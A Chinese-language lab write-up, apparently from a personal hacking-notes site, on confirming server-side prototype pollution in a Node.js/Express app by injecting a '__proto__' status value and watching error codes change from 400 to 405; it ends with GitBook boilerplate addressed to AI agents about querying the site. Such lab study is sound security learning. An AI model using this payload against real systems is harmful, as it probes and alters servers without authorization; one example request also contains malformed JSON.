> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/detection-without-reflection-of-modified-properties.md).

# 无需反射已修改属性的检测

### 在不反射被污染属性的情况下检测服务端原型污染

**实验上下文**

本实验运行于 **Node.js** 替换为 **Express**。它存在一个 **服务器端原型污染** 因为 **merge（合并）应用不安全** 源自 JavaScript 服务端对象中的用户可控数据。

目标： **确认漏洞** 作为 `Object.prototype` 污染物 **可见但无破坏性**，只需通过服务器行为的变化（无需进一步利用）。

凭据： `wiener:peter`.

<figure><img src="/files/9f36f036e27da0a1ee896b8cfc0237c2f1cad117" alt=""><figcaption></figcaption></figure>

**应用发送的数据（地址）**

通过修改账单 / 收货地址，浏览器会发送类似的 JSON 到：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```

**生成一个可控错误以观察响应**

如果你强制触发 JSON 解析错误（例如删除一个引号），你会得到一个响应 **400** 并且服务器会返回一个错误对象，其中 `正文` 包含我们的载荷（反射）：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```

典型响应：

```json
{
  "error": {
    "expose": true,
    "statusCode": 400,
    "status": 400,
    "body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
    "type": "entity.parse.failed"
  }
}
```

<figure><img src="/files/7c226344c91cce58522e70e339479f3137905a8d" alt=""><figcaption></figcaption></figure>

**思路：无需直接反射即可证明污染**

与其等待看到被污染的属性返回到正文，不如目标设定为一个 **可测量的行为变化**，例如错误期间返回的 \*\*HTTP 状态码\*\*。

这里，服务器使用（或传播）类似以下字段： `status` / `statusCode`。如果我们设法污染 `Object.prototype.status`，那么在未来的错误中，Express（或错误处理器）可以通过原型链恢复这个值 → 服务器将返回一个不同的 **status**.

**通过……进行污染尝试 `__proto__`**

一个 `__proto__` 键被注入到 JSON 中（在有效的 JSON 请求中，而不是损坏的请求中），例如：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
  "__proto__": {
    "status": 405
    }
}
```

<figure><img src="/files/cb81982a741fbe40864943418e8a74a0cf31393b" alt=""><figcaption></figcaption></figure>

预期效果：在这种污染之后， **任何错误** （例如手动触发的 JSON 解析错误）现在可以返回 **405 而不是 400**，因为 `status` 继承自 `Object.prototype`.

**结果 / 验证**

* 污染前：错误 → `400`
* 污染后：错误 → `405` （或选择的其他代码）

<figure><img src="/files/58cdf1cf608a7471f4d80ca397f4b982ab97f826" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/detection-without-reflection-of-modified-properties.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
